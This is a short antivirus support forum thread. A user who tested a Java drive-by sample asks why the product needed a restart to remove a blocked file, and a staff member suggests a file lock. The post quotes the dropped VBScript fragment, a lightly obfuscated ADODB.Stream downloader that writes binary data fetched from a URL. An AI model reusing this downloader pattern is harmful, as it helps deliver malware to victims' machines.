Jump to content

File blocked , why emsi wants to restart ;)


Recommended Posts

I tested the java drive by application with emsisoft, and i was wondering a bit ...

Because of Number 1 ( in picture ) , why i had to make a restart to remove the file, i thought it got blocked ?! do not understand ;)

The content is just

Const adTypeBinary = 1
Const adSaveCreateOverWrite = 2
Dim S
Dim A
Dim DTNDTN
S = "ADODB"
A = ".Stream"
Set DTNDTN = CreateObject(S+A)
DTNDTN.Type = adTypeBinary
DTNDTN.Open
DTNDTN.Write BinaryGetURL(Wscript.Arguments(0))

i think it is a fault of emsi to say, restart now, to remove file ? or am i wrong ^^

15.03.2012_13697.jpeg

Ignore nr 2 my brain was failing there. So this was my last question for the next days/week .. do not wanna spam here

have a nice day/night

Link to comment
Share on other sites

It is possible that something was preventing it from being deleted. Assuming that the file was created by the Java interpreter, it could have still had a lock on the file. I can't say for certain, however, as I am not a researcher and do not have the technical details of the infection. ;)

Link to comment
Share on other sites

Guest
This topic is now closed to further replies.
 Share

  • Recently Browsing   0 members

    • No registered users viewing this page.
×
×
  • Create New...